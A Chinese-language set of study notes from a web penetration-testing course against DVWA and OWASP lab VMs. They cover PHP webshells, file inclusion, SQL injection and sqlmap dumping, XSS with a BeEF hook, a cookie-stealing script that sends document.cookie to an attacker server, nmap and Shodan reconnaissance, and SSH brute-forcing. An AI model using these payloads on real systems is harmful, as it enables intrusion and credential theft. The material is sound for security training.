cc攻击和DDoS攻击: https://www.zhihu.com/question/279332078/answer/406403780 ← ← ← 刮刮乐
笔记来源B站视频(知识区>野生技术协会)
黑客攻防 从入门到入yu【網絡安全】:https://www.bilibili.com/video/BV1E4411L7zS
文章目录
一、文件上传漏洞原理
实验靶机:OWASP_BrokenWeb_Apps_VM_1.2
下载地址:https://sourceforge.net/projects/owaspbwa/files/1.2/OWASP_BrokenWeb_Apps_VM_1.2.zip/download
测试渗透机:Kali_Linux
官网下载地址:https://www.kali.org/downloads/
1、实验原理
2、实验过程
实验一:
低安全模式下,上传任意类型文件,文件不大限制
实验二:
中安全模式下,绕过类型上传文件(文件MIME类型)
修改浏览器代理为BurpSuite的代理
通过BurpSuite修改Content-Type的信息,改为 image/JPEG
实验二实现原理:
实验三:
高安全模式,上传一句话图片木马(文件后缀名限制)
3、webshell
shell2.php #eval 使用php函数,例如phpinfo();
<?php eval($_REQUEST['cmd']);?>
http://10.3.139.173/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();
shell3.php #system 使用Linux系统命令,例如ls,cp,rm
<?php system($_REQUEST['yangge']);?>
http://10.3.139.173/dvwa/hackable/uploads/shell3php?yangge=cat /etc/passwd
#ip地址改为自己的
4、菜刀详解+官网下载链接
中国菜刀官网:http://www.maicaidao.co/
腾讯哈勃查毒(轻度风险):https://habo.qq.com/
在文件中找到readme.txt,里面有详细使用方法
二、文件包含渗透 File Inclusion
1、项目实验环境
本地文件包含:LFI
远程文件包含:RFI
老师手绘图
2、文件包含漏洞危害及原理
2.1、低安全级别
本地文件包含
本地文件包含 + webshell
一句话木马脚本
<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[yangge]);?>')?>
edjpgcom工具链接:
链接: https://pan.baidu.com/s/1JrO1IDzkLyhqn2AGh6wD2Q
提取码: nq6d
注意:图片不能太大,否则可能运行不了
相对路径
http://192.168.106.134/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/yangge.jpg
绝对路径
http://192.168.106.134/dvwa/vulnerabilities/fi/?page=/var/www/dvwa/hackable/uploads/yangge.jpg
远程文件包含 + webshell
建立远程服务器
安装web服务(apache2)
systemctl start apache2
vim /var/www/html/yangge.txt
<?fputs(fopen("shell50.php","w"),'<?php eval($_POST[yangge50]);?>')?>
2.2、中安全级别
**本地文件包含:**和低安全级别操作一样
**本地文件包含 + webshell:**和低安全级别操作一样
远程文件包含 + webshell
后台源码用str_replace函数只替换一个http://,那改成http:http:////就行了
2.3、高安全级别
后台源码写死,固定了包含文件,安全无漏洞但不灵活
三、SQL注入攻击及防御
1、项目实验环境
实验靶机:OWASP_BrokenWeb_Apps_VM_1.2
下载地址:https://sourceforge.net/projects/owaspbwa/files/1.2/OWASP_BrokenWeb_Apps_VM_1.2.zip/download
测试渗透机:Kali_Linux
官网下载地址:https://www.kali.org/downloads/
2、SQL注入危害
- 拖库导致用户数据泄露
- 危害web等应用的安全
- 失去操作系统的控制权
- 用户信息被非法买卖
- 危害企业及国家的安全
3、SQL基础回顾
1、登录OWASP
2、查看数据库
show databases;
查看所有数据库
select database();
查看当前所在的库
use dvwa;
进去dvwa库
3、查看库中的表
show tables;
4、查看表结构
desc table;
5、查看表记录
比如select语句
//简单查询示例
当前库dvwa dvwa .users
mysql> select * from users;
mysql> select user_id,first
其它库 mysql.user
mysql> desc mysql.user;
mysql> select * from mysql.user;
mysql> select user,password,host from mysql.user;
其它库 wordpress .user
mysql> desc wordpress.wp_users;
mysql> select * from wordpress.wp_users;
wysql> select user_login,user_pass from wordpress.wp_users;
//条件查询示例
mysql> select user,password,host from mysql.user where user='root';
mysqi> select user,password,host from mysql.user where user='root' and host='localhost':
mysql> select user,password,host from mysql.user where user='root' or host='localhost';
mysql> desc dvwa .users;
mysq1> select user_id,first_name,last_name from dvwa.users where first_name='yangge';
mysql> select user_id,first_name,last_name from dvwa.users where first_name='yangge' or 1=1;
mysqi> select user_id,first_name,last_name from dvwa.users where first_name='admin' and 1=2;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=2;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7;
mysql> select user_id,first_name,last_name from dvwa.users where user_id=7 or 1=1;
联合查询
注:union查询前后字段数必须相同
mysql> select user,password,host from mysql.user union select user_login,user_pass,3 from wordpress.wp_users;
注入语句
mysql> select * from dvwa.users union select user_login,user_pass,1,2,3,4 from wordpress.wp_users;
6、information_schema(元数据)
====查询数据库库名、表名 information_schema.tables===
mysql> select * from information_schema.TABLES\G
mysql> select DISTINCT TABLE_SCHEMA from information_schema.TABLES; //等价于show databases
mysql> select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES\G
mysql> select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES GROUP BY
TABLE_SCHEMA\G
mysql> select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='dvwa'; //等价于show tables
===查询数据库库名、表名、字段名 information_schema.columns===
mysql> select * from information_schema.columns\G
mysql> select column_name from INFORMATION_SCHEMA.columns
mysql> select column_name from INFORMATION_SCHEMA.columns where table_schema='dvwa’ and table_name='users'; //相当于desc
mysql> select column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES';
mysql> select column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES';
4、SQL注入流程
5、手动注入实战
5.1、基于错误的注入
目的:试探某位置是否有注入点
语句分析
输入单引号 ’ 报错
select first_name,last_name from dvwa users where user_id='''
5.2、基于布尔的注入
注入语句
select first_name,last_name from dvwa users where user_id='' or 1=1 -- yangge '
' or 1=1 -- yangge
第一个 '
是为了闭合前面的条件
or 1=1 为真的条件
- - 注释掉后面所有语句
一般可以查到本张表的所有数据
5.3、基于UNION的注入
//查询所有库名
'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '
mysql> select first_name,last_name from dvwa.users where user_id='' union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '
//查询所有库的表名
' union select table_name,1 from INFORMATION_SCHEMA.tables -- ''
mysql> select first_name,last_name from dvwa.users where user_id='' union select table_name,1 from INFORMATION_SCHEMA.tables -- ''
//查询所有表名及对应库名
' union select TABLE_SCHEMA, table_name from SINFORMATION_SCHEMA.tables -- ''
mysql> select first_name,last_name from dvwa.users where user_id='' union select TABLE_SCHEMA, table_name from SINFORMATION_SCHEMA.tables -- ''
//原始语句
mysq1> select first_name,last_name from dvwa.users where user_id='$id'
//查询数据表
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name="users' --'
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='USER PRIVILEGE' --'
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' --'
//查询数据列
'union select NULL, user from users -- '
'union select NULL, password from users -- '
'union select user, password from users -- '
'union select NULL, GRANTEE from USER_PRIVILEGES -- '
'union select password, concat(first_name,' ',last_name,' ',user) from users --'
输入语句
mysq1> select first_name,last_name from dvwa.users where user_id=' 'union select password, concat(first_name,' ',last_name,' ',user) from users --'
注入语句
可以查到本张表以外的那些表的数据
前提是
第一要知道union前面SQL语句查询的字段数
第二要知道union后面的要查的那张表的字段名
5.4、基于时间的盲注
SQL injection (Blind) - 盲注
有些数据库对错误信息做了安全配置,使得不能通过以上方法探测到注入点,此时,通过设置 sleep 语句来探测注入点
1' and sleep(5) -- '
SQL注入语句解析:
mysql> select first_name,last_name from dvwa.users where user_id='1' and sleep(5) -- '
6、SQLmap自动注入
SQ注入比较好用的工具,首推开源工具 SQLmap。SQLmap是个国内外著名的安全稳定性测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中有的数据,访可操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
SQLmapx-MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,SQLite, Firebird, Sybase和 SAP MaxDB等数据库的各中安全漏洞检测
sqlmap -hh | less
各行参数自行翻译(本人英语渣渣)
6.1、GET方法注入+数据获取
有登陆权限漏洞的靶机 OWASPMutillidae ‖
通过指定参数注入(复制网页链接,再加上参数)
root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --batch -p username
获取所有数据库
root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --dbs
获取所有用户
root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --users
获取当前用户
root@kali:#sqlmap -u "http://192.168.106.134/mutillidae/index.php?page=user-info.phpsusername=zhuzhuzxia&password=123&user-info-php-submit-button=View+Account+Details" --current-user
--users //获取全部用户
--current-user //获取当前用户
--dbs //获取全部数据库
--current-db //获取当前数据库
-D "database_name" --tables
-D "database_name" -T "table_name" --colun
--dump-all //整个数据库全部dump(拿)下来
--dump-all --exclude-sysdbs //排除系统库
-D "database_name" -T "table_name" --dump
-D "database_name" -T "table_name" -C "username, password" --dump
--batch //自动化完成![在这里插入图片描述](https://img-blog.csdnimg.cn/20200620142056130.png)
演示步骤:
6.2、POST方法注入+数据获取
需要带cookie才能访问注入的页面, – cookie=""
root@kall:~# sqlmap -u "http://192.168.106.134/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="换成自己的" --batch
多个 cookie 用 ; 分开
PHPSESSID = ID(主意,要用 =,而不是 :)
演示步骤(和GET差不多):
6.3、提权操作
提权操作:--sql-shell
获取sql权限后(操作数据库):
sql-shell:select * from users;
6.4、综合实例
四、跨站脚本攻击 XSS
1、XSS简介
2、原理解析
一般针对搜索框
3、构造XSS脚本
3.1、常用HTML标签
3.2、常用JavaScript方法
3.3、构造XSS脚本
主要用到这两条命令
<script src="http://BeEF_IP:3000/hook.js"></script> #结合BeEF收集用户的 cookie 巧用图片标签
<img src="http://BeEF_IP:3000/hook.js"></img>
4、反射型XSS (XSS reilected)
4.1、安全级别
低安全级别
可以直接发送代码段(XSS reilected 和 XSS stored 都行)
弹框警告:
<script>alert('yangge')</script>
<script>alert(document.cookie)</script>
页面重定向:
<script>location.href="http://www.baidu.com"</script>
-
-
- 》手工XSS
-
5、存储型XSS (XSS stored)
存储型XSS(持久型XSS)即攻击者将带有XSS攻击的链接放在网页的某个页面,例如评论框等;
用户访问此XSS链接并执行,由于存储型XSS能够攻击所有访问此页面的用户,所以危害非常大。
-
-
- 》手工【低】
-
攻击1 弹框告警∶ 渗透机 kali Linux 端操作
text1
<script>alert('yangge')</script>
攻击2 获取cookie: 渗透机 Kali Linux端操作
1. 构建收集cookie服务器
2. 构造XSS代码并植入到Neb服务器
3. 等待肉鸡触发xSS代码并将cookie发送到Kali
4.Cookie利用
获取用户 cookie
这kali打卡Apache服务
systemctl start apache2
新建一个存放cookie的php文件
vim /var/www/html/cookie_rec.php
写入内容:
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
fwrite($log, $cookie . "\n");
fclose($log);
?>
给目录权限
chown -R www-data.www-data /var/www/
通过渗透机植入XSS代码:
<script>window.open('http://192.168.106.176/cookie_rec.php?cookie='+document.cookie)</script>
注:192.168.106.176 为kali Linux IP(换成自己的)
注: 先清除之前植入的XSS代码
再用另外一台电脑访问该网站,就可以在 /var/www/html/cookie.txt 文件中看到已经获取到cookie
6、自动化XSS
6.1、BeEF简介
Browser Exploitation Framework (BeEF)
BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透;
BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单;
http://beefproject.com/
信息收集:
1.网络发现
2.主机信息
3.Cookie获取
4.会话劫持
5.键盘记录
6.插件信息
持久化控制:
信息收集:
1.网络发现
2.主机信息
3.Cookie获取
4.会话劫持
5.键盘记录
6.插件信息
持久化控制:
1确认弹框
2.小窗口
3.中间人
社会工程:
1.点击劫持
2.弹窗告警
3.虚假页面
4.钓鱼页面
6.2、BeEF基础
启动Apache和BeEF:
service apache2 start
注: 先清除之前植入的XSS代码
在浏览器登录beef:http://127.0.0.1:3000/ui/panel (127.0.0.1 换成自己IP)
登录账号:beef
登录密码:beef
6.3、信息收集
命令颜色(Color):
绿色 对目标主机生效并且不可见(不会被发现)
橙色 对目标主机生效但可能可见(可能被发现)
灰色 对目标主机未必生效(可验证下)
红色 对目标主机不生效
反射型 - - 》非持久化
储存型 - - 》持久化
五、Web信息收集之搜索引擎
搜索引擎:
Google Hacking(谷歌)
Shodan Hacking(撒旦)
Zoomeye Hacking(钟馗之眼 - 撒旦国内版)
信息收集概述
- Web信息搜集(探测)即web踩点,主要是掌握目标Web服务的方方面面,是实现web渗透入侵前的准备工作
- Web踩点内容包括操作系统、服务器类型、数据库类型、web容器、web语言、域名信息、网站目录…
- Web信息搜集涉及搜索引擎、网站扫描、域名遍历、指纹识别等工作
项目实验环境
- 目标靶机: OWASP_Broken_Web_Apps_VM_1.2
- 测试透机: win7/Kali
1、Google Hacking
不同的搜索行为
1、site
2、filetype
3、inurl
4、intitle
5、intext
实例
符号
参考
搜索:测验分数(test scores)但不是SAT入学分数的文章:
搜索:一份关于常见燕子飞行速度的专业报告
搜索:Dr.Ronald L.Green和Dr. Thomas P.Buttz.所写的关于光合作用(photosynthesis)的记文:
2、Shodan Hacking
https://www.shodan.io
Shodan(撒旦搜索引擎)是由Web工程师John Matherly(马瑟利)编写的,被称为“最可怕的搜索引擎”,可扫描一切联网的设备,除了常见的web服务器;还能扫描防火墙、路由器、交换机、摄像头、打印机等一切联网设备
ip
114.114.114.114
service/protocol
keyword
基于关键词搜索的思路是根据banner信息(设备指纹)来搜索 “default password” country:“TH”
FTP anon successful
country
country:cn
country:us
country:jp
product
product:“Microsoft IIS httpd”
product:“nginx”
product:“Apache httpd”
product:MySQL
version
product:MySQL version:“5.1.73”
product:“Microsoft IIS httpd” version:“7.5”
hostname
hostname: org
hostname: edu
OS
os:“Windows Server 2008 R2”
os:“Windows 7 or 8”
os:“Linux 2.6.x”
net
net net:110.180.13.0/24
200 ok net:110,180.13.0/24
200 ok country: JP net:110.180.13.0/24
port
port: 3389
port: 445
port: 22
port: 80
port: 443
综合示例
搜索日本区开启80端口的设备:
country:jp port:"80"
country:jp port:"80" product:"Apache httpd"
country:jp port:"80" product:"Apache httpd" city:"Tokyo"
country:jp port:"80" product:"Apache httpd" city:"Tokyo" os:"Linux 3.x"
搜索日本区使用Linux2.6.x系统的设备:
country:jp os:"Linux 2.6.x"
country:jp os:"Linux 2.6.x" port:"80"
country:jp os:"Linux 2.6.x" port:"80" product:"Apache httpd"
搜索日本区使用windows Server 系统的设备:
country:jp os:"Windwws Server 2008 R2"
country:jp os:"Windows Server 2003" port:"445"
country:jp os:"Nindows Server 2003" port:"80"
授索日本区使用Microsoft IIS的设备:
country:jp product:"Microsoft IIS httpd" version:"7.5"
3、Zoomeye Hacking
概述
https://www.zoomeye.org
用户手册(shift+/):https://www.zoomeye.org/help
自己去玩玩。。。
六、Web信息收集之目标扫描
1、项目实验环境
- 目标靶机: OWASP_Broken_Web_Apps_VM_1.2
- 测试透机: win7/Kali
2、nmap(命令行)
nmap简介
Nmap是安全渗透领域最强大的开源端口扫描器,能跨平台支持运行。
Nmap官网:https://nmap.org/
Nmap的帮助文档:https://nmap.org/book/man.html
其他安全工具:http://sectools.org/
扫描示例
主机发现:nmap -sn 192.168.106/24
端口扫描:nmap -sS -p1-1000 192.168.106.134
(-sS原理,给对方发一个SYN握手包,若对方回一个SYN/ACK,则开启了探测端口;若回一个RESET/ACK,则没有开启探测端口)
系统扫描:nmap -O 192.168.106.134
版本扫描:nmap -sV 192.168.106.134
综合扫描:nmap -A 192.168.106.134
脚本扫描:
root@kali:/usr/share/nmap/scripts#
nmap --script=default 192.168.106.134
nmap --script=auth 192.168.106.214
nmap --script=brute 192.168.106.134
nmap --script=vuln 192.168.106.134
nmap --script=broadcast 192.168.106.134
nmap --script=smb-brute.nse 192.168.106.134
nmap --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.106.134
nmap --script=smb-vuln-conficker.nse --script-args=unsafe=1 192.168.106.134
nmap -p3306 --script=mysql-empty-password.nse 192.168.106.134
3、zenmap(图形界面)
Intense scan(强烈扫描):
nmap -T4 -A -v 192.168.106.1
-T 设置速度等级,1到5级,数字越大,速度越快
-A 综合扫描
-v 输出扫描过程
Intense scan plus UDP(强烈扫描 - 加UDP):
nmap -sS -sU -T4 -A -v 192.168.106.134
-sS TCP全连接扫描
-sU UDP扫描
Intense scan, all TCP ports(强烈扫描 - 所有TCP端口):
nmap -p 1-65535 -T4 -A -v 192.168.106.134
-p 指定端口范围,默认扫描1000个端口
intense scan no ping(不 ping 强烈扫描):
nmap -T4 -A -v -Pn 192.168.106.0/24
-Pn 不做ping扫描,例如针对防火墙等安全产品
ping scan(ping扫描):
nmap -sn 192.168.106.0/24
nmap -sn -T4 -v 192.168.106.0/24
-sn 只做ping扫描,不做端口扫描
quick scan(快速扫描):
nmap -T4 -F 192.168.106.134
-F fast模式,只扫描常见服务端口,比默认端口(1000个)还少
Quick scan plus(加快版快速扫描):
nmap -sV -T4 -O -F --version-light 192.168.106.134
-sV 扫描系统和服务版本
-O 扫描操作系统版本
Quick traceroute(快速跟踪路线):
nmap -sn --traceroute www.qfedu.com
- -traceroute 追踪经过的路由站
Regular scan:
nmap www.qfedu.com
标准扫描
Slow comprehensive scan:
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" www.baidu.com
全面扫描(慢)
4、OpenVAS
这只是信息扫描工具
http://www.openvas .org/
http://www.greenbone.net/
部署OpenVAS
升级Kali Linux
root@kali:~# apt-get update
rootekali:~# apt-get dist-upgrade
//升级更新前,记得换镜像源,这样快一点
安装openVAS
root@kali:~# apt-get install openvas
root@kali:~# openvas-setup
修改admin账户密码
root@kali:~# openvasmd --user=admin --new-password=yangge
修改默认监听IP
root@kali:~# vim /lib/systemd/system/greenbone-security-assistant.service
启动OpenVAS
root@kali:~# openvas-start
检查安装:
root@kali:~#ss -tnlp
root@kali:~#openvas-check-setup
登录OpenVAS
https://192.168.106.158:9392 #192.168.106.158为 Kali IP地址
注:是https 端口9392
高级 - > 允许访问
新建扫描task
高级扫描task
七、Web漏洞扫描之AppScan
IBM@ Security AppScan@ 是一个适合安全专家的Web应用程序和Web服务渗透测试解决方案
国外商业漏扫产品中,少有的能支持中文的漏扫,运行于windows平台;
界面清晰、配置简单丰富的中文和产品文档,详细的漏洞说明和修复建议;
支持丰富的扫描报告,包括安全性、行业标准、合规一次性报告。
https://www.ibm.com/developerworks/cn/downloads/r/appscan/
1.功能及特点
2.项目实验环境
- 目标靶机: OWASP_Broken_Web_Apps_VM_1.2
- 测试透机: win7/Kali
3.AppScan安装
在官网下载到Windows上安装
4.创建扫描
下一步
下一步 - >完成 - > 扫描 - > 保存结果
八、Web漏扫之 Burp suite
1.功能以及特点
https://portswigger.net/burp/
Target 目标模块用于设置扫描域(target scope)、生成站点地图(sitemap)、生成安全分析
Proxy 代理模块用于拦截浏览器的http会话内容
Spider 爬虫模块用于自动爬取网站的每个页面内容,并生成完整的网站地图
Scanner 扫描模块用于自动化检测漏洞,分为主动和被动扫描
Intruder 入侵(渗透)模块根据上面检测到的可能存在漏洞的链接,调用攻击载荷,对目标链接进行攻击入侵模块的原理是根据访问链接中存在的参数/变量,调用本地词典、攻击载荷,对参数进行渗透测
Repeater 重放模块用于实现请求重放,通过修改参数进行手工请求回应的调试
Sequencer 序列器模块用于检测参数的随机性,例如密码或者令牌是否可预测,以此判断关键数据是否可被伪造
Decoder 解码器模块用于实现对URL、HTML、Base64、ASCII、二/八/十六进制、哈希等编码转换
Comparer 对比模块用于对两次不同的请求和回应进行可视化对比,以此区分不同参数对结果造成的影响
Extender 拓展模块是burpsuite非常强悍的一个功能,也是它跟其他web安全评估系统最大的差别,通过拓展模块,可以加载自己开发的、或者第三方模块,打造自己的burpsuite功能通过burpsuite提供的API接口,目前可以支持Java、Python、Ruby三种语言的模块编写
Options 分为Project/User Options,主要对软件进行全局设置
Alerts 显示软件的使用日志信息
2.项目实验环境
- 目标靶机: OWASP_Broken_Web_Apps_VM_1.2
- 测试透机: win7/Kali
3.Burp Suite安装
java -jar -Xmx1024M /burpsuite_path/BuppHe1per.jar
4.Burp Suite使用
代理功能【Proxy】
目标功能【Target】
开启监听端口
浏览器设置代理
代理功能详解
拦截账号信息
查看站点地图
设置过滤器
爬虫功能【Spider】
准备工作:
设置代理获取域名【略】
访问目标网站
设置目标域
拦截功能关闭
爬虫选项
执行爬虫,在站点地图中发送给爬虫
扫描功能【Scanner】
准备工作:
设置代理获取域名【略】
访问目标网站
设置目标域
拦截功能关闭
扫描选项之扫描方式:
主动扫描精准度高时间长影响大消耗资源大
被动扫描精准度低时间短影响小消化资源小
攻击插入点
主动扫描
被动扫描
漏洞扫描
漏洞问题
保存导出问题
使用主动扫描
站点地图中选中主动扫描的网站或分支
打开报告
九、SSH密码暴力破解及防御实战
1、hydra [海德拉]
**海德拉(Hydra):**希腊神话中的九头蛇,是西方的神话生物,在古希腊神话中出现最为频繁。传说它拥有九颗头,其中一颗头要是被斩断,立刻又会生出两颗头来。
hydra是世界顶级密码暴力密码破解工具,支持几所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。
指定用户破解
Examples:
hydra -1 user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults .txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -1 admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
rootekali:~# hydra -1 root -P pass.dic 192.168.106.134 ssh
用户列表破解
root@kali:~# cat userlist.txt
admin
root
tianyun
yangge
zhuzhuxia
root@kali:~# cat passlist.txt
123
abc,123
root
admin
owaspbwa
yangge
root@kali:~# hydra -L userlist.txt -P passlist.txt -t 20 192.168.106.134 ssh
root@kali:~#hydra -L userlist.txt -P passlist.txt -M hosts.txt ssh -o ssh-hydra.ok
2、Medusa [美杜莎]
美杜莎是希腊神话里的一个女妖怪,她的头发是毒蛇,长的青面撩牙,她知道自己丑,她要报复,她把见过她的人都变成了石头。据说她原是一位美丽的少女,之所以变成蛇发女妖因为梅杜莎和智慧女神雅典娜比美,雅典娜一怒之下将美杜莎的头发变成毒蛇,变成面目丑陋的怪物。
Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。Medusa 和 hydra —样,同样属于在线密码破解工具。不同的是,medusa 的稳定性相较于 hydra 要好很多,但其支持模块要比 hydra 少一些。
语法参数
破解SSH密码
root@kali:~#medusa -M ssh -h 192.168.106.134 -u root -P passlist.txt
root@kali:~#medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt
root@kali:~#medusa -M ssh -h 192.168.106.134 -U userlist.txt -p passlist.txt -F
root@kali:~# medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt -O ssh.log
输出到ssh.log
3、patator
Patator :强大的命令行暴力破解器
可用模块
破解SSH密码
root@kali:~# patator ssh_login host=192.168.106.134 user=root password=FILE0 0=passlist.txt
root@kali:~# patator ssh_login host=192.168.106.134 user=root password=FILE0 0=passlist.txt -x ignore:mesg='Authentication failed.'
4、BrutesPray
Kali端安装
root@kali:~# apt-get update
root@kali:~# apt-get install brutespray
语法参数
nmap扫描
root@kali:~# nmap -v 192.168.106.0/24 -oX nmap.xml
root@kali:~# nmap -A -p22 -v 192.168.106.0/24 -oX 22.xml
root@kali:~# nmap -sP 192.168.106.0/24 -oX nmaplive.xml
root@kali:~# nmap -sV -O 192.168.106.0/24 -oX nmap.xml
字典爆破SSH
root@kali:~# brutespray --file 22.xml -U userilst.txt -P passlist.txt --threads 5 --hosts 5
爆破成功可以到这个文件下查看
cat /root/brutespray-output/ssh-success.txt
5、MSF
SSH模块
root@kali:~# msfconsole
msf > search ssh
SSH用户枚举(ssh_enumusers)
msf > use auxiliary/scanner/ssh/ssh_enumusers
msf auxiliary(scanner/ssh/ssh_enumusers)> set rhosts 192.168.106.134
msf auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /root/userlist. txt
msf auxiliary(scanner/ssh/ssh_enumusers) > run
SSH版本探测(ssh_version)
msf > use auxiliary/scanner/ssh/ssh_version
msf auxiliary(scanner/ssh/ssh_version) > set
SSH 暴力破解(ssh_login)
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.106.134
msf auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/userlist.txt
msf auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/passlist.txt
msf auxiliary(scanner/ssh/ssh_login) > run
6、暴力破解防御
1. useradd shell【推荐】 [root@tianyun ~]# useradd yangge -s /sbin/nologin 2. 密码的复杂性【推荐】 字母大小写+数字+特殊字符+20位以上+定期更换 3. 修改默认端口【推荐】 /etc/ssh/sshd_config Port 22222 4. 限止登录的用户或组【推荐】 #PermitRootLogin yes AllowUser yangge [root@tianyun ~]# man sshd_config AllowUsers AllowGroups DenyUsers DenyGroups 使用sudo【推荐】 5.设置允许的IP访问【可选】 /etc/hosts.allow ,例如sshd:192.168.106.167:allow PAM基于IP限制 iptables/firewalld 只能允许从堡垒机 6. 使用DenyHosts自动统计,并将其加入到/etc/hosts.deny 7. 基于PAM实现登录限制【推荐】 模块:pam_tally2.so 功能:登录统计 示例:实现防止对sshd暴力破解 [root@tianyun ~]# grep tally2 /etc/pam.d/sshd auth required pam_tally2.so deny=2 even_deny_root root_unlock_time=60 unlock_time=6 8. 禁用密码改用公钥方式认证 /etc/ssh/sshd_config PasswordAuthentication no 9. 保护xshell导出会话文件【小心】 10.GRUB加密【针对本地破解】
在文件 /etc/pam.d/su
中加入 auth sufficient pam rootok.so
那么只要用 root 用户进行ssh登录,密码随便乱输入也能登陆
十、中间人攻击及防御
中间人攻击也叫ARP 欺骗 、ARP 毒化
kali 攻击工具:Ettercap
ettercap -G
(打开GUI界面)
再arp -a
看看网关的 ip地址 对应的 mac地址 ,已经被改变
防御:
linux系统下的配置
设置永久静态MAC地址:
arp -s IP地址 MAC地址
arp -s 192.168.1.22 00-aa-00-62-e5-6c
Windows系统下的配置
设置临时静态MAC地址 :
arp -s IP地址 MAC地址
arp -s 192.168.1.200 00-aa-00-62-c6-09
设置永久静态MAC地址:
DOS界面下,输入命令 netsh ii show in ,查看本地网卡对应的"Idx"值
netsh i i show in 为 netsh interface ipv4 show interfaces 的缩写.
绑定静态mac地址
netsh -c i i ad ne 14 10.30.162.1 cc-2d-e0-1e-43-99 store=persistent
删除之前绑定的ARP表项
netsh -c "i i" delete neighbors 14
(14为之前的idx值)
转载:https://blog.csdn.net/bell_love/article/details/106795832